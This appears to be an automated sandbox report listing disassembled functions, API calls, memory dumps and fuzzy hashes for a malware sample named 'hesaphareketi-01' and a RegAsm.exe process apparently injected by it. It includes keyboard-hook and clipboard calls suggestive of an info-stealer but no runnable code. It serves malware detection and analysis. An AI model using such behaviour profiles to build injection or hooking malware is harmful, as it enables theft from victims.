Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 5f868e6883e4306e4798fc5c7dca6ba7319e688e635161da728f78dd99401986
Instruction ID: dc4a53e9e8f8fefa50c0ac2b8808316d834fa06d46bbb8becd3cf4f834f8b3b0
Opcode Fuzzy Hash: 5f868e6883e4306e4798fc5c7dca6ba7319e688e635161da728f78dd99401986
Instruction Fuzzy Hash: FD31A32260AF4592EA297F52B080279E7E4FB44B84F880234DF4E87695DF7CE442A724

Function 00007FF7341DAB10 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

WaitForMultipleObjectsEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7341D6291), ref: 00007FF7341DAB44
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7341D6291), ref: 00007FF7341DAB4E
CoWaitForMultipleHandles.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7341D6291), ref: 00007FF7341DAB6D
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7341D6291), ref: 00007FF7341DAB81

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ErrorLastMultipleWait$HandlesObjects
String ID:
API String ID: 2817213684-0
Opcode ID: 2e4193dc27507b0cc0785436bf69825b5bf5a88872f1136b1b91a9cdfbe48115
Instruction ID: 732131e62a3ecddfe205f63c9d31e9c4541773b083e899c274da19f6cd08f879
Opcode Fuzzy Hash: 2e4193dc27507b0cc0785436bf69825b5bf5a88872f1136b1b91a9cdfbe48115
Instruction Fuzzy Hash: 1D11737270CA5592DB589F1BB88013AF361FF45B90F940139EA8D83BA8CF3CD4019754

Function 00007FF7342392DC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF734239308
GetCurrentThreadId.KERNEL32 ref: 00007FF734239316
GetCurrentProcessId.KERNEL32 ref: 00007FF734239322
QueryPerformanceCounter.KERNEL32 ref: 00007FF734239332

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b684cd9f6bae3ddb2e4f8fdc1087b23f524d747017c22d8809c7f62526f24cc6
Instruction ID: 797ef252f9848763cd32a10150d1445c8bfd33e706454b5a213c5805e45a5fb4
Opcode Fuzzy Hash: b684cd9f6bae3ddb2e4f8fdc1087b23f524d747017c22d8809c7f62526f24cc6
Instruction Fuzzy Hash: C7115E22B14F0599EB00DF71F8942B873A4FB19B58F840E35DA6D977A4DF78D1548350

Function 00007FF73423A65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7342397EB), ref: 00007FF73423A6AC
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7342397EB), ref: 00007FF73423A6ED

Strings

csm, xrefs: 00007FF73423A6DA

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 305dc0d90ba247bf77b3081513aed6e1274f9ee9982620d9ea7225f6e90881e8
Instruction ID: 3399f022aa6df9df81a8d41cd43a398219ca90cd542aaf9995ccfb850671e5e9
Opcode Fuzzy Hash: 305dc0d90ba247bf77b3081513aed6e1274f9ee9982620d9ea7225f6e90881e8
Instruction Fuzzy Hash: 2F116D32608B4192EB259F16F880269B7E0FB88B84F994235EE8C57768DF3DC551CB00

Function 00007FF7341F3C20 Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,00007FF7341F3D9F,?,?,?,00007FF73420006A), ref: 00007FF7341F3C6A
LeaveCriticalSection.KERNEL32(?,?,00000000,00007FF7341F3D9F,?,?,?,00007FF73420006A), ref: 00007FF7341F3CAC
EnterCriticalSection.KERNEL32(?,?,00000000,00007FF7341F3D9F,?,?,?,00007FF73420006A), ref: 00007FF7341F3CD7
LeaveCriticalSection.KERNEL32(?,?,00000000,00007FF7341F3D9F,?,?,?,00007FF73420006A), ref: 00007FF7341F3CF8

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 045b48fe72bcf7abecfebc8b7f0e13c8ed7eea996b5e53e3f88679adc4f03f51
Instruction ID: ebd4c3448d398e704e36a54116db556f20c519aec18e5673dc49eacf42fc7b22
Opcode Fuzzy Hash: 045b48fe72bcf7abecfebc8b7f0e13c8ed7eea996b5e53e3f88679adc4f03f51
Instruction Fuzzy Hash: 36213C62B08906A1EE48EF16E8C53B4A254FF153A0FC80239D52DD69D59F7CE895E321

Analysis Process: RegAsm.exePID: 6596, Parent PID: 6992COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	169
Total number of Limit Nodes:	25

Executed Functions

Function 061E3050 Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061E37A8
$q, xrefs: 061E375B
$q, xrefs: 061E3784
$q, xrefs: 061E3778
$q, xrefs: 061E379C
$q, xrefs: 061E374F

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: 5ea80c05c32e402910fbf91d44dc72a5dcc29b65d9446e3789fa41112023b13a
Instruction ID: 2364319d893ecb998fa678710091d5479e389663d27b1fcddf87cd49ab51c7bf
Opcode Fuzzy Hash: 5ea80c05c32e402910fbf91d44dc72a5dcc29b65d9446e3789fa41112023b13a
Instruction Fuzzy Hash: 01322E31E10B19CFDB14EF75D89069DF7B2BF89300F2196A9D419AB254EB30E985CB90

Function 061E7D78 Relevance: 3.0, Strings: 2, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061E80C1
$q, xrefs: 061E80B5

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: e7d8410523d34d56df064c4ff597eb0ceab154ebc18391749676c6de84382e56
Instruction ID: 74b51369aaeff9e93f80dc96ef9a2863828e29fcb98c280b1e600dd4f6ad442a
Opcode Fuzzy Hash: e7d8410523d34d56df064c4ff597eb0ceab154ebc18391749676c6de84382e56
Instruction Fuzzy Hash: 13027E34B00A059FDBA4DB68D850BAEB7E2FF84310F248569E415DB395DB71ED82CB90

Function 061E5598 Relevance: 1.9, Strings: 1, Instructions: 603COMMON

Download Yara Rule

Strings

$, xrefs: 061E5C3C

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: f2c97ad48ba15574ffaa44a147aaec8eaa2d133c50736770ae02860b1df89624
Instruction ID: 0e5d98f0c6d33c4cd109cf8ae0149734c59e14723215a38749bb8067c47271e7
Opcode Fuzzy Hash: f2c97ad48ba15574ffaa44a147aaec8eaa2d133c50736770ae02860b1df89624
Instruction Fuzzy Hash: 8222A135F006148FDF64DBA4C590AAEBBB3EF89314F24846AD405AB395DB32DD41CBA1

Function 061E2340 Relevance: 1.0, Instructions: 1014COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3edbe69014a52daab631ab564f158a302b7f1d1e59b11369a102bfbb05ad443
Instruction ID: a1b36584fdf28855d4cab5940d5a1324468eeb181108b94cb2b4ea0fe011c28f
Opcode Fuzzy Hash: e3edbe69014a52daab631ab564f158a302b7f1d1e59b11369a102bfbb05ad443
Instruction Fuzzy Hash: D8926634E006048FDBA4CB68C5A4B9DBBF2EB49314F5884A9D409EB365DB35ED85CB90

Function 061E65E8 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b0dfe5c1ec1b5ed5fae73a3424ed0298bf231f712d03c58f1d8e05caa855f20
Instruction ID: ec99b9a47b99a9c48c083794ec43999cf3c5ca4e117ee333d5a4569cc1f2ef9e
Opcode Fuzzy Hash: 2b0dfe5c1ec1b5ed5fae73a3424ed0298bf231f712d03c58f1d8e05caa855f20
Instruction Fuzzy Hash: 01629934B006049FDB64DB68D594BADBBF2EF88310F648469E416EB394DB35ED42CB90

Function 061EC188 Relevance: .6, Instructions: 638COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cdcd3dca5d2850f10c7ebaaf312073043e58e30f0b058c4955a9630eaa3bf6d
Instruction ID: c1170bb8861a153e5cfd9788f03fa70709908fb272e812b5dbfb37e96fb45e51
Opcode Fuzzy Hash: 5cdcd3dca5d2850f10c7ebaaf312073043e58e30f0b058c4955a9630eaa3bf6d
Instruction Fuzzy Hash: AA329D34F006099FDB64DB68D890BAEB7B2FB89310F148965E415EB395DB34EC42CB91

Function 061EB228 Relevance: .6, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5a5e5ed729e2d14c50ca6e0ea9bc52f3213b66fc04944062ce9ece50da9303c
Instruction ID: 4e95a1cfeea06b5f5c0d54db13bc9ab41f1f8e4c42c1179169994abc02a85971
Opcode Fuzzy Hash: b5a5e5ed729e2d14c50ca6e0ea9bc52f3213b66fc04944062ce9ece50da9303c
Instruction Fuzzy Hash: C0227F30E146098FEF64DB68D690BADB7B2EF49310F248466E415EB395DB34DC81CBA1

Function 061EACD0 Relevance: 10.4, Strings: 8, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061EADFD
$q, xrefs: 061EAE9C
$q, xrefs: 061EAE50
$q, xrefs: 061EAE44
$q, xrefs: 061EADF1
$q, xrefs: 061EAEA8
$q, xrefs: 061EAE7F
$q, xrefs: 061EAE73

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: 0de2d330c8296d136bccc06b50dc7de7ce517d9c4118394909720e9199d6880d
Instruction ID: c55bc91624c44dc3c05864d6691728521fab0b5945a08d8adb7d9f9cdf43ba93
Opcode Fuzzy Hash: 0de2d330c8296d136bccc06b50dc7de7ce517d9c4118394909720e9199d6880d
Instruction Fuzzy Hash: A2E18F34E00B098FDB64DB69D8906AEB7F2FF85310F248529E405AB355DB35DC46CB91

Function 061EB648 Relevance: 8.0, Strings: 6, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061EBC15
$q, xrefs: 061EBC09
$q, xrefs: 061EBBE1
$q, xrefs: 061EBBA1
$q, xrefs: 061EBBD5
$q, xrefs: 061EBBAD

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: fe56ec5fa693daee2131abc98585adae9b62fa8862e5f399a1dfa2ea3fc5dbb4
Instruction ID: 2d3cb3efa0510418c2fc9057eadb8245567d294a0f269140e64fdcf94145398f
Opcode Fuzzy Hash: fe56ec5fa693daee2131abc98585adae9b62fa8862e5f399a1dfa2ea3fc5dbb4
Instruction Fuzzy Hash: 68026B30E0460A8FDBA4DB68D690AADB7F1FF85310F24896AE415EB355DB30DC81CB91

Function 061E9150 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061E9197
$q, xrefs: 061E91A3
$q, xrefs: 061E91DE
$q, xrefs: 061E91D2

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: e50524d50711b07ac1b2524aacd241cc72afad8ac1ebcd09b9fb010da6095e5b
Instruction ID: c7a7cfb565284c718123cd2c49e36b6bf1b610e3be8e168571ea0c77032b7382
Opcode Fuzzy Hash: e50524d50711b07ac1b2524aacd241cc72afad8ac1ebcd09b9fb010da6095e5b
Instruction Fuzzy Hash: DC911E30B0061A9FDB64DB79D8617AEB7F2BF89300F1089A5D819AB344EF70DD458B91

Function 061ECF48 Relevance: 4.6, Strings: 3, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061ED34F
$q, xrefs: 061ED33B
$q, xrefs: 061ED343

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q$$q
API String ID: 0-3067366958
Opcode ID: 74e5f631ca4fc6b668fe8823795465e2739301c59439ec7bb87dbaa06e6a726b
Instruction ID: 2336259dff9a78a22be21e90f134c165f7d932272fd9537d5dca179d90437d06
Opcode Fuzzy Hash: 74e5f631ca4fc6b668fe8823795465e2739301c59439ec7bb87dbaa06e6a726b
Instruction Fuzzy Hash: 94626A34A007059FCB25EF78E990A9EB7E2FF84710B248A68D0059F359DB35ED46CB91

Function 061E4B60 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fq, xrefs: 061E4B8B
XPq, xrefs: 061E4CB1
\Oq, xrefs: 061E4D3B

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: fq$XPq$\Oq
API String ID: 0-132346853
Opcode ID: 0926f06eceb84f193b2b5feeecd6552ce847500208f9989f7fa8cfe229cd7dc5
Instruction ID: 6db89eeeda605772e79e64888267f51564dd83b913ea76f1ff268e4542161339
Opcode Fuzzy Hash: 0926f06eceb84f193b2b5feeecd6552ce847500208f9989f7fa8cfe229cd7dc5
Instruction Fuzzy Hash: 29617334F002089FEB549FA4C8147AEBBF6FF88300F24842AD506EB395DB758D458B91

Function 061E9140 Relevance: 2.7, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 061E9197
$q, xrefs: 061E91D2

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 3a800849f5ea1f16f13def6b6b8a9b58bddbc41e3eb360948594a9e90b3c0a70
Instruction ID: 092938502919bbc5175f9f802c204e727448e4161c1073f90869e27c554efb7d
Opcode Fuzzy Hash: 3a800849f5ea1f16f13def6b6b8a9b58bddbc41e3eb360948594a9e90b3c0a70
Instruction Fuzzy Hash: A1515E30B006059FDB54DB79D861BAE7BF2BF89300F1088A9D809DB348EE70DD468B91

Function 061E4B50 Relevance: 2.6, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fq, xrefs: 061E4B8B
XPq, xrefs: 061E4CB1

Memory Dump Source

Source File: 00000003.00000002.3680150257.00000000061E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61e0000_RegAsm.jbxd

Similarity

API ID:
String ID: fq$XPq
API String ID: 0-3167736908
Opcode ID: 48420b33ce6fe54adbe5f0880116c319495ab9bfce9ab0d21bc6877779a9ded3
Instruction ID: a7b9329e72c5b4703f30d66699a318cea527e97afacd909d6a912c64e0bf661b
Opcode Fuzzy Hash: 48420b33ce6fe54adbe5f0880116c319495ab9bfce9ab0d21bc6877779a9ded3
Instruction Fuzzy Hash: E9518834F002089FDB549FA5C815BAEBBF6FF88300F24852AE105AB395DB759C41CBA1

Function 00E5E9A8 Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3676670526.0000000000E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e50000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b7e32f6c9776468cf974630991d14891db0b5152b343cfe883addb2dfbc0eca
Instruction ID: 198f3851d0068f8cc291f65c72ad7eaa2ad63adb886b8200ae99a71f254b4a18
Opcode Fuzzy Hash: 0b7e32f6c9776468cf974630991d14891db0b5152b343cfe883addb2dfbc0eca
Instruction Fuzzy Hash: 05512472D043958FCB14CFB5E8042EEBBF1AF85211F08896BD809E7741EB349949CBA1

Function 061D254D Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 061D26AA

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 14723c466486ca320355466a386c8bd7830a75f0bd90783410311260d10cafb7
Instruction ID: 26ca1e0fa324053d26a999da16e8ebbfe5c0bfaf937cfa116aa4374f63fb8395
Opcode Fuzzy Hash: 14723c466486ca320355466a386c8bd7830a75f0bd90783410311260d10cafb7
Instruction Fuzzy Hash: 965101B1C00249AFDF55CFA9D980ADDBFB1FF48310F25812AE919AB224D771AA45CF50

Function 061D2598 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 061D26AA

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b3d1cdb4b49db714e7c5b1f4734499555e0058e507ded40eb4b63e7e6fde6d0f
Instruction ID: 18d9f4034a538a421b3c09aa89954431940f542e0201ba4817a8c4c8294fe0ac
Opcode Fuzzy Hash: b3d1cdb4b49db714e7c5b1f4734499555e0058e507ded40eb4b63e7e6fde6d0f
Instruction Fuzzy Hash: 4941CEB1D00348DFDB14CF9AC984ADEBBF5BF48310F24812AE819AB210D775A985CF94

Function 061D5F7C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 061D73D1

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 7e5cd5aa85d96e0fa4ef4d058a382f0442489b62ceed3908c5f6f82bf23086eb
Instruction ID: 6f56f50acba86460d337b0521a9237274b1fa72a87e41426c2828b29c2f1d1b8
Opcode Fuzzy Hash: 7e5cd5aa85d96e0fa4ef4d058a382f0442489b62ceed3908c5f6f82bf23086eb
Instruction Fuzzy Hash: B2412AB9900345DFDB54CF99C448BAABBF5FF88314F148859D919AB361D374A841CBA0

Function 061D9C68 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 061D9C2B

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 78bc00aec8d79a46e15e84cbedfbfdbf88f1f09a08e5f885d677facc1f1988d5
Instruction ID: 0c1294f961deb8450d3b1959099c4cc2066555ce9f5f10b854376463b9434951
Opcode Fuzzy Hash: 78bc00aec8d79a46e15e84cbedfbfdbf88f1f09a08e5f885d677facc1f1988d5
Instruction Fuzzy Hash: D721B172A003459FCB15EF69D941B9EBBF1FF84310F10886DE469AB391CB35A905CBA1

Function 061D805C Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 061D80F0

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 430c4ad15b573215b25e50813a11078201398f3b1091abe41e2a634e16c5f192
Instruction ID: 623d56464aaf397cf3fb10eac4b50de04f44a1e03dbbc0841aa4f0fa211dbadb
Opcode Fuzzy Hash: 430c4ad15b573215b25e50813a11078201398f3b1091abe41e2a634e16c5f192
Instruction Fuzzy Hash: D531E3B0D01248DFDB64CF99C984BDDBBF5BB48308F248459E404BB390D775A949CB65

Function 061D7C18 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 061D80F0

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: 133eb837696294c0b23ff5e4a2ea333a9c9bd4dbd3540130a50e0abf0ca0e6e2
Instruction ID: 0240fb77d717c1a26d1ea421cca446bed15ebcd30803a95aea281d43a8a29392
Opcode Fuzzy Hash: 133eb837696294c0b23ff5e4a2ea333a9c9bd4dbd3540130a50e0abf0ca0e6e2
Instruction Fuzzy Hash: F93102B4D01348DFEB64CF99C984B9EBBF4BB48304F248459E404AB390D7B4A849CBA5

Function 061D6470 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 061D64FF

Memory Dump Source

Source File: 00000003.00000002.3680111363.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61d0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 149d9d3df8e3309b94613791468fadf71c655a9c1f5ac153ec9eafd60be97085
Instruction ID: 58b22ba73c6ce7a5326499f9003edb58b2ea4845386c205a5061794717188dcd
Opcode Fuzzy Hash: 149d9d3df8e3309b94613791468fadf71c655a9c1f5ac153ec9eafd60be97085
